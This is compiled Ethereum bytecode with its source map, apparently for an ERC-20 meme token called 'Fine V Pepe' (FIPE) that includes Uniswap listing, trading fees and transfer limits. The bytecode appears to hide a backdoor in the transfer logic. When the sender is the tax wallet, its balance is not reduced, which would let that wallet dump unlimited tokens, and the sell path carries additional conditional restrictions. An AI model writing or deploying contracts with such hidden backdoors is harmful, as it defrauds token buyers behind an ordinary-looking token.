0x608060405260043610610108575f3560e01c80637245281011610092578063a06d9cdf11610062578063a06d9cdf146102d2578063a9059cbb146102e7578063c9567bf914610306578063dd62ed3e1461031a578063f931b7131461035e575f80fd5b80637245281014610257578063751039fc1461026c5780638da5cb5b1461028057806395d89b41146102a6575f80fd5b806323b872dd116100d857806323b872dd146101be578063313ce567146101dd5780636e51f954146101f857806370a082311461020d578063715018a614610241575f80fd5b806306fdde0314610113578063095ea7b314610158578063098d91041461018757806318160ddd146101aa575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b5060408051808201909152600b81526a46696e652056205065706560a81b60208201525b60405161014f919061144a565b60405180910390f35b348015610163575f80fd5b506101776101723660046114ac565b610377565b604051901515815260200161014f565b348015610192575f80fd5b5061019c600a5481565b60405190815260200161014f565b3480156101b5575f80fd5b5061019c61038d565b3480156101c9575f80fd5b506101776101d83660046114d6565b6103ae565b3480156101e8575f80fd5b506040516009815260200161014f565b348015610203575f80fd5b5061019c60075481565b348015610218575f80fd5b5061019c610227366004611514565b6001600160a01b03165f9081526001602052604090205490565b34801561024c575f80fd5b50610255610416565b005b348015610262575f80fd5b5061019c60095481565b348015610277575f80fd5b50610255610490565b34801561028b575f80fd5b505f546040516001600160a01b03909116815260200161014f565b3480156102b1575f80fd5b506040805180820190915260048152634649504560e01b6020820152610142565b3480156102dd575f80fd5b5061019c60085481565b3480156102f2575f80fd5b506101776103013660046114ac565b61054e565b348015610311575f80fd5b5061025561055a565b348015610325575f80fd5b5061019c61033436600461152f565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610369575f80fd5b506006546101779060ff1681565b5f6103833384846108c0565b5060015b92915050565b5f61039a6009600a61165a565b6103a9906409cb81ff40611668565b905090565b5f6103ba8484846109e3565b61040b8433610406856040518060600160405280602881526020016117fc602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110d1565b6108c0565b5060015b9392505050565b5f546001600160a01b031633146104485760405162461bcd60e51b815260040161043f9061167f565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104b95760405162461bcd60e51b815260040161043f9061167f565b6104c56009600a61165a565b6104d4906409cb81ff40611668565b6007556104e36009600a61165a565b6104f2906409cb81ff40611668565b6008556006805460ff191690557fd1df17bf41b8c750c300500ee1fdf12ccb804f63c34d5512ca9a793ebf3e93ed61052c6009600a61165a565b61053b906409cb81ff40611668565b60405190815260200160405180910390a1565b5f6103833384846109e3565b5f546001600160a01b031633146105835760405162461bcd60e51b815260040161043f9061167f565b601454600160a01b900460ff1615610599575f80fd5b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105e39030906105d46009600a61165a565b610406906409cb81ff40611668565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610633573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065791906116b6565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da91906116b6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610724573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074891906116b6565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d719473061078f816001600160a01b03165f9081526001602052604090205490565b5f806107a25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610808573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061082d91906116d1565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610882573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108a691906116fc565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109225760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043f565b6001600160a01b0382166109835760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a475760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043f565b6001600160a01b038216610aa95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043f565b5f8111610b0a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043f565b5f80546001600160a01b03858116911614801590610b3557505f546001600160a01b03848116911614155b15610f925760065460ff1615610bf1576013546001600160a01b03848116911614801590610b7157506014546001600160a01b03848116911614155b15610bf157325f908152600560205260409020544311610bdf5760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b606482015260840161043f565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610c1c57506013546001600160a01b03848116911614155b8015610c4057506001600160a01b0383165f9081526003602052604090205460ff16155b15610d8c57600754821115610c935760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6bc2a30b5a0b6b0bab73a1760391b604482015260640161043f565b60085482610cb5856001600160a01b03165f9081526001602052604090205490565b610cbf919061171b565b1115610d0d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161043f565b6011546012541015610d2457823b15610d24575f80fd5b60128054905f610d338361172e565b90915550506001600160a01b0383165f908152600460205260409020805460ff19166001179055600f54601254610d8991606491610d839110610d7857600b54610d7c565b600d545b8590611109565b90611169565b90505b6014546001600160a01b038481169116148015610db257506001600160a01b0384163014155b8015610dd657506001600160a01b0384165f9081526003602052604090205460ff16155b15610ead576007548211158015610e0c5750600a5460065461010090046001600160a01b03165f90815260016020526040902054105b610e545760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6bc2a30b5a0b6b0bab73a1760391b604482015260640161043f565b610e796064610d8360105460125411610e6f57600c54610d7c565b600e548590611109565b9050601154601254118015610ea557506001600160a01b0384165f9081526004602052604090205460ff165b610ead575f80fd5b305f90815260016020526040902054601454600160a81b900460ff16158015610ee357506014546001600160a01b038581169116145b8015610ef85750601454600160b01b900460ff165b8015610f05575060095481115b8015610f145750601154601254115b8015610f3857506001600160a01b0384165f9081526003602052604090205460ff16155b8015610f5c57506001600160a01b0385165f9081526003602052604090205460ff16155b15610f9057610f7e610f7984610f7484600a54611196565b611196565b6111aa565b478015610f8e57610f8e47611333565b505b505b801561100a57305f90815260016020526040902054610fb19082611372565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110019085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461102e908590846113bc565b6001600160a01b0385165f9081526001602052604090205561107161105383836113f1565b6001600160a01b0385165f9081526001602052604090205490611372565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110ba85856113f1565b60405190815260200160405180910390a350505050565b5f81848411156110f45760405162461bcd60e51b815260040161043f919061144a565b505f6111008486611746565b95945050505050565b5f825f0361111857505f610387565b5f6111238385611668565b9050826111308583611759565b1461040f5760405162461bcd60e51b815260206004820152600960248201526829b0b332a6b0ba341d60b91b604482015260640161043f565b5f61040f83836040518060400160405280600981526020016829b0b332a6b0ba341d60b91b81525061141e565b5f8183116111a4578261040f565b50919050565b6014805460ff60a81b1916600160a81b179055801561132357601454600160a01b900460ff1615611323576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120857611208611778565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561125f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061128391906116b6565b8160018151811061129657611296611778565b6001600160a01b0392831660209182029290920101526013546112bc91309116846108c0565b601354604051634bb0425960e01b81526001600160a01b0390911690634bb04259906112f49085905f9086903090429060040161178c565b5f604051808303815f87803b15801561130b575f80fd5b505af115801561131d573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561136e573d5f803e3d5ffd5b5050565b5f8061137e838561171b565b90508381101561040f5760405162461bcd60e51b815260206004820152600960248201526829b0b332a6b0ba341d60b91b604482015260640161043f565b6006545f906001600160a01b036101009091048116908516036113e057508161040f565b6113ea83836113f1565b905061040f565b5f61040f83836040518060400160405280600981526020016829b0b332a6b0ba341d60b91b8152506110d1565b5f818361143e5760405162461bcd60e51b815260040161043f919061144a565b505f6111008486611759565b5f6020808352835180828501525f5b8181101561147557858101830151858201604001528201611459565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114a9575f80fd5b50565b5f80604083850312156114bd575f80fd5b82356114c881611495565b946020939093013593505050565b5f805f606084860312156114e8575f80fd5b83356114f381611495565b9250602084013561150381611495565b929592945050506040919091013590565b5f60208284031215611524575f80fd5b813561040f81611495565b5f8060408385031215611540575f80fd5b823561154b81611495565b9150602083013561155b81611495565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115b457815f190482111561159a5761159a611566565b808516156115a757918102915b93841c939080029061157f565b509250929050565b5f826115ca57506001610387565b816115d657505f610387565b81600181146115ec57600281146115f657611612565b6001915050610387565b60ff84111561160757611607611566565b50506001821b610387565b5060208310610133831016604e8410600b8410161715611635575081810a610387565b61163f838361157a565b805f190482111561165257611652611566565b029392505050565b5f61040f60ff8416836115bc565b808202811582820484141761038757610387611566565b6020808252601a908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865000000000000604082015260600190565b5f602082840312156116c6575f80fd5b815161040f81611495565b5f805f606084860312156116e3575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561170c575f80fd5b8151801515811461040f575f80fd5b8082018082111561038757610387611566565b5f6001820161173f5761173f611566565b5060010190565b8181038181111561038757610387611566565b5f8261177357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117da5784516001600160a01b0316835293830193918301916001016117b5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220566625915ad9c100d83bbe095c7ea8991994decbcf3d554591f52fa56c4c607f64736f6c63430008140033

Deployed Bytecode Sourcemap

3545:8862:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5405:83;;;;;;;;;;-1:-1:-1;5475:5:0;;;;;;;;;;;;-1:-1:-1;;;5475:5:0;;;;5405:83;;;;;;;:::i;:::-;;;;;;;;6241:161;;;;;;;;;;-1:-1:-1;6241:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6241:161:0;1023:187:1;4376:36:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4376:36:0;1215:177:1;5682:96:0;;;;;;;;;;;;;:::i;6410:317::-;;;;;;;;;;-1:-1:-1;6410:317:0;;;;;:::i;:::-;;:::i;5591:83::-;;;;;;;;;;-1:-1:-1;5591:83:0;;4047:1;2000:36:1;;1988:2;1973:18;5591:83:0;1858:184:1;4239:38:0;;;;;;;;;;;;;;;;5786:119;;;;;;;;;;-1:-1:-1;5786:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5879:18:0;5852:7;5879:18;;;:9;:18;;;;;;;5786:119;2646:148;;;;;;;;;;;;;:::i;:::-;;4328:41;;;;;;;;;;;;;;;;11175:187;;;;;;;;;;;;;:::i;2438:79::-;;;;;;;;;;-1:-1:-1;2476:7:0;2503:6;2438:79;;-1:-1:-1;;;;;2503:6:0;;;2445:51:1;;2433:2;2418:18;2438:79:0;2299:203:1;5496:87:0;;;;;;;;;;-1:-1:-1;5568:7:0;;;;;;;;;;;;-1:-1:-1;;;5568:7:0;;;;5496:87;;4284:37;;;;;;;;;;;;;;;;5913:167;;;;;;;;;;-1:-1:-1;5913:167:0;;;;;:::i;:::-;;:::i;11744:623::-;;;;;;;;;;;;;:::i;6088:145::-;;;;;;;;;;-1:-1:-1;6088:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6197:19:0;;;6170:7;6197:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6088:145;3926:34;;;;;;;;;;-1:-1:-1;3926:34:0;;;;;;;;6241:161;6316:4;6333:39;2095:10;6356:7;6365:6;6333:8;:39::i;:::-;-1:-1:-1;6390:4:0;6241:161;;;;;:::o;5682:96::-;5735:7;4218:14;4047:1;4218:2;:14;:::i;:::-;4204:28;;:11;:28;:::i;:::-;5755:15;;5682:96;:::o;6410:317::-;6508:4;6525:36;6535:6;6543:9;6554:6;6525:9;:36::i;:::-;6572:125;6581:6;2095:10;6603:93;6645:6;6603:93;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6603:19:0;;;;;;:11;:19;;;;;;;;2095:10;6603:33;;;;;;;;;;:41;:93::i;:::-;6572:8;:125::i;:::-;-1:-1:-1;6715:4:0;6410:317;;;;;;:::o;2646:148::-;2565:6;;-1:-1:-1;;;;;2565:6:0;2095:10;2565:22;2557:61;;;;-1:-1:-1;;;2557:61:0;;;;;;;:::i;:::-;;;;;;;;;2753:1:::1;2737:6:::0;;2716:40:::1;::::0;-1:-1:-1;;;;;2737:6:0;;::::1;::::0;2716:40:::1;::::0;2753:1;;2716:40:::1;2784:1;2767:19:::0;;-1:-1:-1;;;;;;2767:19:0::1;::::0;;2646:148::o;11175:187::-;2565:6;;-1:-1:-1;;;;;2565:6:0;2095:10;2565:22;2557:61;;;;-1:-1:-1;;;2557:61:0;;;;;;;:::i;:::-;4218:14:::1;4047:1;4218:2;:14;:::i;:::-;4204:28;::::0;:11:::1;:28;:::i;:::-;11228:12;:23:::0;4218:14:::1;4047:1;4218:2;:14;:::i;:::-;4204:28;::::0;:11:::1;:28;:::i;:::-;11262:11;:22:::0;11295:14:::1;:22:::0;;-1:-1:-1;;11295:22:0::1;::::0;;11333:21:::1;4218:14;4047:1;4218:2;:14;:::i;:::-;4204:28;::::0;:11:::1;:28;:::i;:::-;11333:21;::::0;1361:25:1;;;1349:2;1334:18;11333:21:0::1;;;;;;;11175:187::o:0;5913:167::-;5991:4;6008:42;2095:10;6032:9;6043:6;6008:9;:42::i;11744:623::-;2565:6;;-1:-1:-1;;;;;2565:6:0;2095:10;2565:22;2557:61;;;;-1:-1:-1;;;2557:61:0;;;;;;;:::i;:::-;11812:9:::1;::::0;-1:-1:-1;;;11812:9:0;::::1;;;11810:11;11801:21;;;::::0;::::1;;11833:13;:74:::0;;-1:-1:-1;;;;;;11833:74:0::1;11864:42;11833:74:::0;;::::1;::::0;;;11919:57:::1;::::0;11936:4:::1;::::0;4218:14:::1;4047:1;4218:2;:14;:::i;:::-;4204:28;::::0;:11:::1;:28;:::i;11919:57::-;12013:13;;;;;;;;;-1:-1:-1::0;;;;;12013:13:0::1;-1:-1:-1::0;;;;;12013:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11999:50:0::1;;12059:4;12067:13;;;;;;;;;-1:-1:-1::0;;;;;12067:13:0::1;-1:-1:-1::0;;;;;12067:20:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11999:92;::::0;-1:-1:-1;;;;;;11999:92:0::1;::::0;;;;;;-1:-1:-1;;;;;5429:15:1;;;11999:92:0::1;::::0;::::1;5411:34:1::0;5481:15;;5461:18;;;5454:43;5346:18;;11999:92:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11987:9;:104:::0;;-1:-1:-1;;;;;11987:104:0;;::::1;-1:-1:-1::0;;;;;;11987:104:0;;::::1;;::::0;;12102:13:::1;::::0;::::1;:29;12139:21;12170:4;12176:24;12170:4:::0;-1:-1:-1;;;;;5879:18:0;5852:7;5879:18;;;:9;:18;;;;;;;5786:119;12176:24:::1;12201:1;12203::::0;12205:7:::1;2476::::0;2503:6;-1:-1:-1;;;;;2503:6:0;;2438:79;12205:7:::1;12102:127;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12102:127:0;;;-1:-1:-1;;;;;5867:15:1;;;12102:127:0::1;::::0;::::1;5849:34:1::0;5899:18;;;5892:34;;;;5942:18;;;5935:34;;;;5985:18;;;5978:34;6049:15;;;6028:19;;;6021:44;12213:15:0::1;6081:19:1::0;;;6074:35;5783:19;;12102:127:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12247:9:0::1;::::0;12274:13:::1;::::0;12240:65:::1;::::0;-1:-1:-1;;;12240:65:0;;-1:-1:-1;;;;;12274:13:0;;::::1;12240:65;::::0;::::1;6605:51:1::0;-1:-1:-1;;6672:18:1;;;6665:34;12247:9:0;::::1;::::0;-1:-1:-1;12240:25:0::1;::::0;6578:18:1;;12240:65:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12316:9:0::1;:16:::0;;-1:-1:-1;;;;12343:16:0;-1:-1:-1;;;12343:16:0;;;11744:623::o;6735:339::-;-1:-1:-1;;;;;6829:20:0;;6821:69;;;;-1:-1:-1;;;6821:69:0;;7194:2:1;6821:69:0;;;7176:21:1;7233:2;7213:18;;;7206:30;7272:34;7252:18;;;7245:62;-1:-1:-1;;;7323:18:1;;;7316:34;7367:19;;6821:69:0;6992:400:1;6821:69:0;-1:-1:-1;;;;;6909:21:0;;6901:68;;;;-1:-1:-1;;;6901:68:0;;7599:2:1;6901:68:0;;;7581:21:1;7638:2;7618:18;;;7611:30;7677:34;7657:18;;;7650:62;-1:-1:-1;;;7728:18:1;;;7721:32;7770:19;;6901:68:0;7397:398:1;6901:68:0;-1:-1:-1;;;;;6980:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7033:33;;1361:25:1;;;7033:33:0;;1334:18:1;7033:33:0;;;;;;;6735:339;;;:::o;7082:3120::-;-1:-1:-1;;;;;7170:18:0;;7162:68;;;;-1:-1:-1;;;7162:68:0;;8002:2:1;7162:68:0;;;7984:21:1;8041:2;8021:18;;;8014:30;8080:34;8060:18;;;8053:62;-1:-1:-1;;;8131:18:1;;;8124:35;8176:19;;7162:68:0;7800:401:1;7162:68:0;-1:-1:-1;;;;;7249:16:0;;7241:64;;;;-1:-1:-1;;;7241:64:0;;8408:2:1;7241:64:0;;;8390:21:1;8447:2;8427:18;;;8420:30;8486:34;8466:18;;;8459:62;-1:-1:-1;;;8537:18:1;;;8530:33;8580:19;;7241:64:0;8206:399:1;7241:64:0;7333:1;7324:6;:10;7316:64;;;;-1:-1:-1;;;7316:64:0;;8812:2:1;7316:64:0;;;8794:21:1;8851:2;8831:18;;;8824:30;8890:34;8870:18;;;8863:62;-1:-1:-1;;;8941:18:1;;;8934:39;8990:19;;7316:64:0;8610:405:1;7316:64:0;7391:16;2503:6;;-1:-1:-1;;;;;7424:16:0;;;2503:6;;7424:16;;;;:34;;-1:-1:-1;2476:7:0;2503:6;-1:-1:-1;;;;;7444:14:0;;;2503:6;;7444:14;;7424:34;7420:2346;;;7481:14;;;;7477:402;;;7552:13;;-1:-1:-1;;;;;7520:46:0;;;7552:13;;7520:46;;;;:92;;-1:-1:-1;7602:9:0;;-1:-1:-1;;;;;7570:42:0;;;7602:9;;7570:42;;7520:92;7516:348;;;7678:9;7643:45;;;;:14;:45;;;;;;7691:12;-1:-1:-1;7635:128:0;;;;-1:-1:-1;;;7635:128:0;;9222:2:1;7635:128:0;;;9204:21:1;9261:2;9241:18;;;9234:30;9300:34;9280:18;;;9273:62;-1:-1:-1;;;9351:18:1;;;9344:34;9395:19;;7635:128:0;9020:400:1;7635:128:0;7819:9;7784:45;;;;:14;:45;;;;;7832:12;7784:60;;7516:348;7907:9;;-1:-1:-1;;;;;7899:17:0;;;7907:9;;7899:17;:63;;;;-1:-1:-1;7948:13:0;;-1:-1:-1;;;;;7920:42:0;;;7948:13;;7920:42;;7899:63;:86;;;;-1:-1:-1;;;;;;7967:18:0;;;;;;:14;:18;;;;;;;;7966:19;7899:86;7895:666;;;8025:12;;8015:6;:22;;8007:78;;;;-1:-1:-1;;;8007:78:0;;9627:2:1;8007:78:0;;;9609:21:1;9666:2;9646:18;;;9639:30;-1:-1:-1;;;9685:18:1;;;9678:55;9750:18;;8007:78:0;9425:349:1;8007:78:0;8156:11;;8128:6;8112:13;8122:2;-1:-1:-1;;;;;5879:18:0;5852:7;5879:18;;;:9;:18;;;;;;;5786:119;8112:13;:22;;;;:::i;:::-;:55;;8104:94;;;;-1:-1:-1;;;8104:94:0;;10111:2:1;8104:94:0;;;10093:21:1;10150:2;10130:18;;;10123:30;10189:28;10169:18;;;10162:56;10235:18;;8104:94:0;9909:350:1;8104:94:0;8250:17;;8220:10;;:47;8217:115;;;11529:35;;11592:20;8289:23;;;;;;8350:10;:12;;;:10;:12;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8382:16:0;;;;;;:12;:16;;;;;:21;;-1:-1:-1;;8382:21:0;8399:4;8382:21;;;8474:14;;8445:10;;8433:112;;8541:3;;8433:85;;-1:-1:-1;8444:73:0;;8503:14;;8444:73;;;8490:12;;8444:73;8433:6;;:10;:85::i;:::-;:107;;:112::i;:::-;8422:123;;7895:666;8586:9;;-1:-1:-1;;;;;8580:15:0;;;8586:9;;8580:15;:39;;;;-1:-1:-1;;;;;;8599:20:0;;8614:4;8599:20;;8580:39;:78;;;;-1:-1:-1;;;;;;8638:20:0;;;;;;:14;:20;;;;;;;;8637:21;8580:78;8577:494;;;8697:12;;8687:6;:22;;:79;;;;-1:-1:-1;8755:11:0;;8741:12;;;;;-1:-1:-1;;;;;8741:12:0;5852:7;5879:18;;;:9;:18;;;;;;8731:35;8687:79;8679:135;;;;-1:-1:-1;;;8679:135:0;;9627:2:1;8679:135:0;;;9609:21:1;9666:2;9646:18;;;9639:30;-1:-1:-1;;;9685:18:1;;;9678:55;9750:18;;8679:135:0;9425:349:1;8679:135:0;8844:115;8955:3;8844:88;8885:15;;8856:10;;:44;8855:76;;8916:15;;8855:76;;;8902:13;;8844:6;;:10;:88::i;:115::-;8833:126;;8997:17;;8986:10;;:28;:68;;;;-1:-1:-1;;;;;;9036:18:0;;;;;;:12;:18;;;;;;;;8986:68;8978:77;;;;;;9150:4;9087:28;5879:18;;;:9;:18;;;;;;9176:8;;-1:-1:-1;;;9176:8:0;;;;9175:9;:42;;;;-1:-1:-1;9208:9:0;;-1:-1:-1;;;;;9202:15:0;;;9208:9;;9202:15;9175:42;:55;;;;-1:-1:-1;9221:9:0;;-1:-1:-1;;;9221:9:0;;;;9175:55;:110;;;;;9269:16;;9248:20;:37;9175:110;:156;;;;;9314:17;;9303:10;;:28;9175:156;:192;;;;-1:-1:-1;;;;;;9349:18:0;;;;;;:14;:18;;;;;;;;9348:19;9175:192;:216;;;;-1:-1:-1;;;;;;9371:20:0;;;;;;:14;:20;;;;;;;;9370:21;9175:216;9171:584;;;9426:86;9439:72;9445:6;9471:39;9477:20;9498:11;;9471:5;:39::i;:::-;9439:5;:72::i;:::-;9426:11;:86::i;:::-;9578:21;9621:40;;9618:122;;9686:34;9698:21;9686:11;:34::i;:::-;9407:348;9171:584;7460:2306;7420:2346;9781:10;;9778:194;;9860:4;9830:36;;;;:9;:36;;;;;;:62;;9883:8;9830:52;:62::i;:::-;9823:4;9805:24;;;;:9;:24;;;;;;;:87;;;;9910:50;;-1:-1:-1;;;;;9910:50:0;;;;;;;9951:8;1361:25:1;;1349:2;1334:18;;1215:177;9910:50:0;;;;;;;;9778:194;-1:-1:-1;;;;;10022:15:0;;;;;;:9;:15;;;;;;9999:47;;10006:4;;10039:6;9999;:47::i;:::-;-1:-1:-1;;;;;9982:15:0;;;;;;:9;:15;;;;;:64;10071:53;10099:24;:6;10114:8;10099:14;:24::i;:::-;-1:-1:-1;;;;;10071:13:0;;;;;;:9;:13;;;;;;;:27;:53::i;:::-;-1:-1:-1;;;;;10057:13:0;;;;;;;:9;:13;;;;;:67;;;;10140:54;;;10169:24;:6;10184:8;10169:14;:24::i;:::-;10140:54;;1361:25:1;;;1349:2;1334:18;10140:54:0;;;;;;;7151:3051;7082:3120;;;:::o;1229:194::-;1319:7;1355:12;1347:6;;;;1339:29;;;;-1:-1:-1;;;1339:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1379:9:0;1391:5;1395:1;1391;:5;:::i;:::-;1379:17;1229:194;-1:-1:-1;;;;;1229:194:0:o;1431:222::-;1489:7;1513:1;1518;1513:6;1509:47;;-1:-1:-1;1543:1:0;1536:8;;1509:47;1566:9;1578:5;1582:1;1578;:5;:::i;:::-;1566:17;-1:-1:-1;1611:1:0;1602:5;1606:1;1566:17;1602:5;:::i;:::-;:10;1594:32;;;;-1:-1:-1;;;1594:32:0;;10961:2:1;1594:32:0;;;10943:21:1;11000:1;10980:18;;;10973:29;-1:-1:-1;;;11018:18:1;;;11011:39;11067:18;;1594:32:0;10759:332:1;1661:115:0;1719:7;1746:22;1750:1;1753;1746:22;;;;;;;;;;;;;-1:-1:-1;;;1746:22:0;;;:3;:22::i;10781:135::-;10853:7;10883:1;10879;:5;10877:30;;10906:1;10877:30;;;-1:-1:-1;10902:1:0;10781:135;-1:-1:-1;10781:135:0:o;10210:563::-;4982:8;:15;;-1:-1:-1;;;;4982:15:0;-1:-1:-1;;;4982:15:0;;;10288:27;;10307:7:::1;10288:27;10329:9;::::0;-1:-1:-1;;;10329:9:0;::::1;;;10325:23:::0;10340:7:::1;10325:23;10392:16;::::0;;10406:1:::1;10392:16:::0;;;;;::::1;::::0;;10358:21:::1;::::0;10392:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10392:16:0::1;10358:50;;10437:4;10419;10424:1;10419:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10419:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10463:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;10463:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;10419:7;;10463:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10453:4;10458:1;10453:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10453:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;10536:13:::1;::::0;10494:70:::1;::::0;10511:4:::1;::::0;10536:13:::1;10552:11:::0;10494:8:::1;:70::i;:::-;10575:13;::::0;:190:::1;::::0;-1:-1:-1;;;10575:190:0;;-1:-1:-1;;;;;10575:13:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;10650:11;;10575:13:::1;::::0;10692:4;;10719::::1;::::0;10739:15:::1;::::0;10575:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10277:496;5008:1;-1:-1:-1::0;5020:8:0;:16;;-1:-1:-1;;;;5020:16:0;;;10210:563::o;11628:108::-;11689:12;;:39;;:12;;;;-1:-1:-1;;;;;11689:12:0;;:39;;;;;;;;;;;;:12;:39;;;;;;;;;;;;;;;;;;;;;11628:108;:::o;929:161::-;987:7;;1019:5;1023:1;1019;:5;:::i;:::-;1007:17;;1048:1;1043;:6;;1035:28;;;;-1:-1:-1;;;1035:28:0;;10961:2:1;1035:28:0;;;10943:21:1;11000:1;10980:18;;;10973:29;-1:-1:-1;;;11018:18:1;;;11011:39;11067:18;;1035:28:0;10759:332:1;10924:243:0;11059:12;;11019:7;;-1:-1:-1;;;;;11059:12:0;;;;;;11041:30;;;;11038:122;;-1:-1:-1;11094:1:0;11087:8;;11038:122;11134:14;:1;11146;11134:10;:14::i;:::-;11127:21;;;;1098:123;1160:7;1188:25;1195:1;1198;1188:25;;;;;;;;;;;;;-1:-1:-1;;;1188:25:0;;;:6;:25::i;1784:189::-;1870:7;1905:12;1898:5;1890:28;;;;-1:-1:-1;;;1890:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1929:9:0;1941:5;1945:1;1941;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;